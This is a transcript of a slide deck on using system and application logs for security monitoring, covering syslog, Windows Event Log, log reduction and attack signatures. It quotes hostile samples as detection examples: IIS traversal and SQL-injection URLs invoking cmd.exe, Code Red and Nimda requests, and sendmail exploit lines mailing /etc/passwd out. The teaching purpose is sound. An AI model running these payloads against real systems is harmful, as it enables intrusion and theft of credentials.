Logging: Make Your Life Easier Dr. Tina Bird [email protected] Last modified: 27-Aug-15.

101
Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork .com Last modified: Jun 20, 2022

Transcript of Logging: Make Your Life Easier Dr. Tina Bird [email protected] Last modified: 27-Aug-15.

Page 1: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Logging: Make Your Life Easier

Dr. Tina [email protected]

Last modified: Apr 19, 2023

Page 2: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Goals

• Using system & application logs to improve security and reliability on your network

• Building a logging infrastructure that works• Rapid detection of events that are usually

bad news

Page 3: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Agenda

• Figuring out where to start• Centralizing your log data• Parsing system logs• Attack signatures• Common mistakes

Page 4: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Just starting out?

• What do you need to know? Start small. Pick one or two apps or types of devices.

• What kinds of events indicate security problems, performance issues or administrative changes?

• Are your favorite events recorded by the default logging configuration on your device?

Page 5: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Always watch for…

• Hardware failures• Resource exhaustion• Reboots/restarts• Patches or changes to system code

or firmware or app software (upgrades or downgrades)

• Failed logins, esp to admin accounts

Page 6: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

UNIX Login Attempts

Sep 12 10:17:11 kuspy PAM_pwdb[17529]: authentication failure; (uid=0) -> tbird for ssh service

Sep 12 10:17:12 kuspy sshd[17529]: log: Password authentication for tbird accepted.

Page 7: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Failed Logon to Win2k Domain

<132>EvntSLog:6388: [AUF] Wed Oct 10 10:57:15 2001: OSMOSIS/Security (675) - "Pre-authentication failed: User Name: Administrator User ID: %{S-1-5-21-776561741-2052111302-1417001333-500} Service Name: krbtgt/LAB Pre-Authentication Type: 0x2 Failure Code: 0x18 Client Address: 127.0.0.1 "

<132>EvntSLog:6389: [AUF] Wed Oct 10 10:57:15 2001: OSMOSIS/Security (529) - "Logon Failure: Reason: Unknown user name or bad password User Name: Administrator Domain: LAB Logon Type: 2 Logon Process: User32 Authentication Package: Negotiate Workstation Name: OSMOSIS"

Page 8: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

UNIX System Boot

Jul 8 01:46:52 evileye unix: SunOS Release 5.7 Version Generic_106541-04

[UNIX(R) System V Release 4.0]

Page 9: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Windows System Reboot

Page 10: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Windows System Reboot cont.

Page 11: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Cisco IOS restart*Mar 1 00:00:24.716 UTC: %SYS-5-RESTART: System restarted –

Cisco Internetwork Operating System Software IOS (tm) C3500XL Software (C3500XL-C3H2S-M), Version 12.0(5.4)WC(1), MAINTENANCE INTERIM SOFTWARE

Copyright (c) 1986-2001 by cisco Systems, Inc.

Compiled Tue 10-Jul-01 12:32 by devgoyal

Page 12: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Always watch for:

• Creation of new accounts, esp those that “look like” system accounts, or have admin privileges

Page 13: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Creating New User – WinNT

<133>EvntSLog:423: [AUS] Fri Oct 05 11:59:09 2001: HANDCUFFS/Security (624) - "User Account Created: New Account Name: tbird New Domain: HANDCUFFS New Account ID: S-1-5-21-1647595427-22557637-1039276024-1001 Caller User Name: Administrator Caller Domain: HANDCUFFS Caller Logon ID: (0x0,0x2B79) Privileges - "

Page 14: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Creating New User – WinNT cont.

<133>EvntSLog:424: [AUS] Fri Oct 05 11:59:09 2001: HANDCUFFS/Security (626) - "User Account Enabled: Target Account Name: tbird Target Domain: HANDCUFFS Target Account ID: S-1-5-21-1647595427-22557637-1039276024-1001 Caller User Name: Administrator Caller Domain: HANDCUFFS Caller Logon ID: (0x0,0x2B79) "

<133>EvntSLog:425: [AUS] Fri Oct 05 11:59:09 2001: HANDCUFFS/Security (628) - "User Account password set: Target Account Name: tbird Target Domain: HANDCUFFS Target Account ID: S-1-5-21-1647595427-22557637-1039276024-1001 Caller User Name: Administrator Caller Domain: HANDCUFFS Caller Logon ID: (0x0,0x2B79) "

Page 15: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Monitoring Routers

• User entering enable mode• Access control list changes• Enable/disable/reconfigure interfaces• Firmware

downgraded/upgraded/patched• Conditions that produce Traceback

errors• rsh, rcp connection attempts

Page 16: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Config Change on Cisco IOS

%SYS-5-CONFIG: Configured from host1-config by rcp from 172.16.101.101

Page 17: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

root or Admin access

Sep 12 12:21:58 kuspy PAM_pwdb[17904]: (su) session opened for user root by tbird(uid=501)

Page 18: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Monitoring Firewalls

• Host OS messages as applicable• Configuration changes• Adds/deletes/changes of admin

accounts• Administrative traffic from

“unexpected” locations (like the Internet)

• Connection logs (start/stop/amt of data)

Page 19: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

FireWall-1 to loghost

• Need to record operating system events, firewall policy configuration changes, network connection logs for thorough monitoring

• Assumes UNIX host for FW-1• Operating system events: standard

syslog configuration for the host OS

Page 20: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

FireWall-1 to loghost cont.

• Firewall policy changes:– command line loads are recorded by

syslog– loads, changes created via GUI tool

are recorded in $FWDIR/log/cpmgmt.aud

– as root, start /bin/sh and type/bin/tail -f $FWDIR/log/cpmgmt.aud | /bin/logger -p local6.info > /dev/null 2>&1 &

Page 21: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

FireWall-1 to loghost cont.

Page 22: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

FireWall-1 to loghost cont.

• Firewall network connection logs:– connection logs are stored in

Checkpoint proprietary binary format– as root, start /bin/sh and type$FWDIR/bin/fw log -tf | /bin/logger -p local5.info

• Watch the log size!

Page 23: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

ACL changes

Sep 12 12:13:39 2000 f_cf a_acladm t_acl_change p_major pid: 21734 ruid: 0 euid: 0 pgid: 21734 fid: 1021694 cmd: 'cf‘ domain: Admn edomain: Admn acl_admin: tbird acl_op: modify acl_table: acl acl_data: {'ignore': 0, 'name': 'ssh_ext_soc'}

Page 24: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Firewall Rulesets & Logs

• Most firewalls log connection requests and results using a rule’s number (position in ruleset) or name

• Usually don’t log set of rules to system log

• Have to manually correlate against ruleset, or record ruleset in system logs

Page 25: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Monitoring Database Servers

• Interactive DB access rather than scheduled jobs or automated processing

• Access control changes (DBA granting themselves or other DBAs higher level of access to system)

• DB account access over network• Automated reporting of network

component versions

Page 26: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Monitoring Database Servers cont.

• Changes to scripts on DB servers• Presence (?) and use of non-

interactive DB accounts

Page 27: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

File system full

set /kernel: pid 801 (mysqld), uid 88 on /var: file system full

Page 28: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Monitoring Web Servers

• Host OS messages• Malicious signatures in access logs

(artificial ignorance/content inspection)• New virtual hosts added• New listening ports or virtual IPs added• Unusual increase in inbound or

outbound traffic (Nimda, anyone?)

Page 29: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Monitoring Web Servers cont.

• New scripts• New modules• New content• Parent or child processes dying

with unexpected errors• Web server action resulting from

client request (i.e. how did that URL map to file system?)

Page 30: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

MS IIS to loghost

• Variety of attacks target IIS; Web servers usually the first target of malicious activity

• Web logs difficult to integrate into central monitoring system: performance issues, no native utility that writes IIS logs to Event Log

Page 31: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

IIS workflow

• Decode incoming client connection request

• Determine proper virtual web server

• Determine proper document root• Call handler for data requested by

client

Page 32: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

How does IIS write logfiles?

• Data written block by block (64kb) rather than line by line – unused space is filled with zeros rather than left uninitialized

• Merely monitoring IIS logs for changes in file sizes can be misleading!

• Log files get smaller when IIS is stopped because zeros are deleted – not because an attacker is deleting data!

Page 33: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Requirements for Web Logs

• Must be forwarded to central log server in close to real-time, with or without local processing

• Forwarding mechanism must not degrade performance of Web server significantly

• Note that syslog specifies packet max size of 1024 bytes – watch URL length

Page 34: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Attacks on IIS

• Remote access to Windows Shell:http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:\

• Download the Windows password DB:

[drive-letter]:\winnt\repair\sam._

Page 35: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Attacks on IIS cont.

• Inappropriate access to server info:http://host/index.asp?something=..\..\..\..\WINNT\system32\cmd.exe?/c+DIR+e:\WINNT\*.txt

• SQL injection attack on MS-SQL:http://host/cgi-bin/lame.asp?name=john`;EXEC master.dbo.xp_cmdshell'cmd.exe dir c:'--

Page 36: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Code Red

128.101.47.28 - - [28/Sep/2001:00:43:43 -0400] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 284 "-" "-"

Page 37: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Centralizing Your Logs

• Why?– easier to archive– easier to correlate– log preservation if host is attacked

• Homogeneous or mixed?• Homogeneous: lucky you

– Built in mechanisms• Mixed

Page 38: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Centralizing Your Logs cont.

• Mixed environment• syslog may not be a good choice

– security– reliability

• syslog may be the only choice– most supported logging mechanism

• So it’s clearly the best choice!

Page 39: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

syslogd

• Consolidated audit mechanism for UNIX kernel and application messages

• Gives application and OS developers a consistent interface for reporting significant events

• Allows local or remote storage of messages

Page 40: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

syslogd cont.

• /etc/syslog.conf controls how much data is generated, and where it is stored

• syslog.conf format:selector <Tab> action• selectors indicate what’s sending

the message, and what criticality the message has

Page 41: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

syslogd cont.

• facility – the application or system component that generates a log message

• user – default facility applied if nothing else is specified when message is written

• mark – inserts a timestamp into log data at regular intervals (useful for validating time synchronization, system performance)

Page 42: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

syslogd cont.

• level – the severity of a message on the computer generating it, i.e.

• emerg – system is or will be unusable if situation is not resolved (most severe)

• alert – immediate action required• notice –a significant but typically

normal event that may merit investigation

• Assigned by the developer who implemented the logging

Page 43: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

syslogd cont.

• action – what’s done with a message once it’s received from a facility

• actions usually represent destinations – message is written to a local file, a syslog daemon on another system, the system console, or a user console

Page 44: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

syslogd Historical Oddities

• Many syslogds require <Tab> as delimiter, not whitespace, & die gory, unpleasant, hard-to-detect deaths if <Tab>s are not present

• Fixed in SDSC-syslog, syslog-ng, sysklogd, some OS implementations (FreeBSD)

Page 45: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Audit Caveats

• syslog only records what you’ve told it to record

• Vast majority of events on a system are not recorded – events must generate logs to show up in log monitoring

• Failed attacks often leave tracks; successful attacks are often only recorded indirectly

Page 46: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Audit Caveats cont.

• Running automated attack tools (nessus, CyberCop Scanner) against base operating systems – 15% of all probes logged by OS or application mechanisms, but at least record genuine system activity

• IDS, other network alarms really help to identify when further examination is warranted

Page 47: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

syslogd Issues

• No default limitations on data sources (users or processes), so all log data is inherently unreliable

• Nothing to prevent forged data from being inserted into data stream

• Limited number of actions possible on receipt of a particular message

Page 48: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

syslogd Replacements

• Improved ability to filter and redirect inbound log messages

• Integrity checks on locally-stored logfiles

• Store more information about log data and events

• Fix that whole <Tab> problem• Retain compatibility with classic syslog

Page 49: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

syslogd Replacements cont.

• syslog-ng: most popular replacement; allows forwarding over TCP; remembers forwarding addresses; more granular message filtering

• modular syslog: a syslog replacement that includes data integrity checks, easy database integration, and output redirection using regular expressions

Page 50: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Real-World Secure Transmission

• SDSC-syslog implements syslog-sign and syslog-reliable

• nsyslog – TCP over SSL• Tunnelling over SSH or SSL

Client: netcat -l -u -p syslog | netcat localhost 9999

loghost: netcat -l -p 9999 | netcat localhost -u syslog

• Serial cables

Page 51: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Windows Event Log

• Windows analog of syslog• No integrated capability for

remote logging• Binary file – no grep!• System default – auditing is

disabled

Page 52: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Windows Event Log cont.

• System Log: Startup and shutdown messages, system component data, critical services

• Security Log: Windows auditing system data only, including user & host auth, share access, printing, other

• Application Log: Nearly everything else

Page 53: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Windows Event Log cont.

• Any process can write to Application and System Event Logs – “should” register message library

• Only LSA and Event Log Service itself can write to Security Event Log

• Security log is more reliable forensic information than off the shelf syslog

Page 54: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Windows Application Log

• Application Log messages parsed via message dictionary

• Should be provided by application developer

• Frequently isn’t

Page 55: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Windows Application Log cont.

Page 56: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Windows Event Log cont.

Page 57: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Windows Event Log cont.

Page 58: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Windows Event Log cont.

Page 59: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Windows to loghost

• Third-party tools required to send Event Log data to remote loghost

• Pure syslog clients:– http://www.eventreporter.com– BackLog

http://www.intersectalliance.com/projects

– http://www.sabernet.net/software/ntsyslog.html

Page 60: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Windows to loghost cont.

• Other options: Perl module Win32::EventLog – allows external access to EventLog API

• Discussion based on inexpensive third-party tool, EventReporter

Page 61: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Windows Audit Policy

Page 62: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Windows to loghost cont.

Page 63: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Windows to loghost cont.

Page 64: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Windows to loghost cont.

Page 65: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Windows to loghost cont.

Page 66: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

What to do with all that data

• Automate rapid sorting of data into “must respond now” and “ought to process later” categories

• Or, what to do with all the stuff you get when you configure your devices to tell you what you need to know

Page 67: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

A Note on Log Reduction

• Most tools use regular expressions (of varying complexity) to divide logs into “discard” and “investigate”

• Size of logs also reduced by fixing problems: minor configuration errors & hardware glitches that don’t disrupt service but can be resolved

Page 68: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Log Analysis Tools

• Some syslog collectors (like syslog-ng) offer sophisticated parsing mechanisms for real-line processing as data is received

• Some analysis tools with the ability to handle real-time data streams can be used as collectors

but….

Page 69: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Log Analysis Tools cont.

• In practice want to separate the collecting and analyzing capacities even if you use the same code– archive raw data for future processing– both tasks can be extremely resource

intensive, so separating them provides better scalability

Page 70: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Artificial Ignorance

• Eliminate log data that indicates normal, allowed behavior, and focus your energy on the residue

• checksyslog automates removal of “nominal status” messages once you know what they are

Page 71: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Artificial Ignorance cont.

• Regular expressions describing nominal behavior:

in.telnetd\[\d+\]: connect from (friendly\.org|pc2\.foo\.edu)

postfix/smtpd\[\d+\]: reject: RCPT from.*.Sender address rejected: Domain not found

Page 72: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Build a Quick & Dirty Ignore List

cut -f5- -d\ all.log.0 | sort | uniq -c |sort -nr > uniq.sorted.freq

Page 73: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

logsurfer

• Multi-line log event processor• Maintains context messages &

situations• Includes timeouts and resource

limits• Can change monitoring behavior if

situation requires

Page 74: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

logsurfer cont.

Configuration issues:• Severe system impact possible if

external programs (like sendmail) are called in response to events

• Regular expressions must be “good enough”– too general matches irrelevant messages– too specific misses messages that should

be matched

Page 75: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

logsurfer cont.

# rpcbind #--------------------------------------

' rpcbind: refused connect from ([^ ]*)' ' connect from [^]*.local.net|localhost)' - - 0 CONTINUE open "^.{19,}$2" - 4000 86400 0 ignore

' ([^ .]*)(.local.net|) rpcbind: refused connect from ([^ ]*) ' - - - 0 CONTINUE rule before " rpcbind: refused connect from $4" - - - 300 ignore

' ([^ .]*)(.local.net|) rpcbind: refused connect from ([^ ]*) ' - - - 0 exec "/usr/local/sbin/safe_finger @4 | /usr/local/sbin/start-mail logsurfer \"$2: rpcbind: (backtrack)\""

Page 76: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Baselining

What’s normal?• How many apps/facilities/systems

report to loghost?• How many distinct messages from

each facility?• Top ten most frequent and “top”

ten least frequent are a good place to start

Page 77: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Baselining cont.

• Amount of network traffic per protocol: total HTTP, email, FTP etc.

• Logins/logoffs, access of admin accounts

• DHCP address management, DNS requests

• total amount of log data per hour/day• number of processes running at any

time

Page 78: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Thresholding

• Once you’ve baselined, what’s weird? • Conditions: given a line of data,

– notify based on the presence of a second line

– the absence of a second line– number of times that event happens in a

given time period• Or notify when a message doesn’t

appear!

Page 79: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Most common logging mistakes

• Not ever looking at the logs• Not thinking about what sorts of

system events you’d like to monitor, before you need to find them

• Monitoring firewall and/or IDS logs but not database or Web server logs (that is, watching perimeter security systems but not the ultimate victims of attacks)

Page 80: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Most common logging mistakes cont.

• Deciding on logging software, analysis software, rotation schedule, archiving system before you’ve determined what sorts of data to collect, how long to store it, how much you’ll get

• Getting into any conversation on data transfer protocols or XML formatting

Page 81: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Application & OS Attack Signatures

Page 82: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

CERT Advisory CA-2003-07

• Buffer overflow in header processing in sendmail

• Announced 3 March 2003• Patched systems will log

Dropped invalid comments from header address

Page 83: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

CERT CA-2003-07 cont.

Mar 11 00:33:53 victim sendmail[313]: h2B5Xmm00313: SYSERR: putoutmsg (attacker): error on output channel sending "503 5.0.0 Need MAIL before RCPT": Broken pipe

Mar 11 00:33:53 victim sendmail[317]: h2B5Xrm00316: Dropped invalid comments from header address

Mar 11 00:33:53 victim sendmail[317]: h2B5Xrm00316: SYSERR(root): Infinite loop in ruleset canonify, rule 16

Page 84: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Slapper: Linux/SSL worm

• Apache/mod-SSL worm discovered 13 Sept 2002; exploits buffer overflow in SSL v2

[error] SSL handshake failed: HTTP spoken on HTTPS port; trying to send HTML error page

[error] OpenSSL: error:1407609C:SSL routines:SSL23_GET_CLIENT_HELLO:

http request [Hint: speaking HTTP to HTTPS port!?]

Page 85: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Apache Chunked Encoding Vuln

• FreeBSD worm detected in the wild 28 June 2002:

[Sat Jun 29 15:06:40 2002] [notice] child pid 21452 exit signal Segmentation Fault (11)

[Sat Jun 29 15:06:41 2002] [error] [client 172.16.159.57] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /

Page 86: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

CERT Advisory CA-2002-03

• Numerous vulnerabilities in SNMP implementations

• Denial of service in all vulnerable systems

• Buffer overflow/root compromise in some vulnerable systems

• PROTOS test suite publicly available

Page 87: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Detecting Use of PROTOS

• Preliminary results for Solaris snmpdx:• One of the test packets DoSes

daemon• Next test case generates syslog msg:

Feb 12 23:25:48 mordor snmpdx: agent snmpd not responding

Page 88: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

PROTOS vs. Solaris SNMP

Feb 15 02:06:45 mordor snmpdx: error while receiving a pdu from testmachine.lab.fakename.com.60347: The message has a wrong version (8355711)

Feb 15 02:08:58 mordor snmpdx: SNMP error (UNKNOWN! (65793), 0) sent back to testmachine.lab.fakename.com.61021

Page 89: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

PROTOS signatures: Snort

alert udp $EXTERNAL_NET any -> $HOME_NET 161 (msg:"Attack using PROTOS Test-Suite-req-app"; content: "|30 26 02 01 00 04 06 70 75 62 6C 69 63 A0 19 02 01 00 02 01 00 02 01 00 30 0E 30 0C 06 08 2B 06 01 02 01 01 05 00 05 00|";)

Page 90: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

sendmail Exploits

Jul 21 01:25:49 ariel sendmail[308]: BAA00307: [email protected], ctladdr=":/bin/mail [email protected] </etc/passwd", delay=00:00:34, mailer=smtp, relay=bos1h.delphi.com. (192.80.63.8), stat=Sent (Ok.)

Jul 21 01:35:40 ariel sendmail[545]: setsender: "/bin/mail [email protected] </etc/passwd": invalid or unparseable, received from [205.133.101.5]

Jul 21 13:13:04 ariel sendmail[784]: NAA00783: to=\tsutomu, [email protected], delay=00:03:09, mailer=local, stat=Sent

Page 91: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Nimda: Worm Sign

204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 - "-" "-"

204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-"

204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-"

204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET /scripts/..%255c../winnt/system32/cmd.exe? /c+dir HTTP/1.0" 404 - "-" "-"

Page 92: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Nimda: Worm Sign cont.

204.120.69.195 - - [18/Sep/2001:09:35:19 -0500] "GET /scripts/..%%35%63../winnt/system32

/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-"

204.120.69.195 - - [18/Sep/2001:09:35:22 -0500] "GET /scripts/..%%35c../winnt/system32

/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-"

204.120.69.195 - - [18/Sep/2001:09:35:23 -0500] "GET /scripts/..%25%35%63../winnt/system3/

cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-“

204.120.69.195 - - [18/Sep/2001:09:35:23 -0500] "GET /scripts/..%25%35%63../winnt/system32

/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-"

Page 93: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Hacked via FTPSep 23 17:31:55 www inetd[1638]: pid 28592: exit

status 1

Sep 23 17:33:20 www ftpd[28594]: FTP LOGIN REFUSED (ftp in /etc/ftpusers) FROM 203.55.23.150 [203.55.23.150], ftp

Sep 23 17:33:47 www ftpd[28595]: FTP LOGIN REFUSED (ftp in /etc/ftpusers) FROM 203.55.23.150 [203.55.23.150], ftp

Sep 23 17:33:58 www inetd[1638]: pid 28596: exit status 1

Sep 23 17:52:38 www useradd[28609]: new user: name=jogja, uid=506, gid=10, home=/etc/jogja, shell=/bin/bash

Page 94: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Hacked via FTP cont.

Sep 23 17:55:34 www PAM_pwdb[28610]: password for (jogja/506) changed by ((null)/0)

Sep 23 17:58:03 www PAM_pwdb[28612]: check pass; user unknown

Sep 23 17:58:04 www login[28612]: FAILED LOGIN 1 FROM 202.155.35.132 FOR ku ^H^H^H^H, User not known to the underlying authentication module

Sep 23 17:58:11 www PAM_pwdb[28612]: authentication failure; (uid=0) -> jogja for login service

Sep 23 17:58:12 www login[28612]: FAILED LOGIN 2 FROM 202.155.35.132 FOR jogja, Authentication failure

Page 95: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Why IDS isn’t Enough

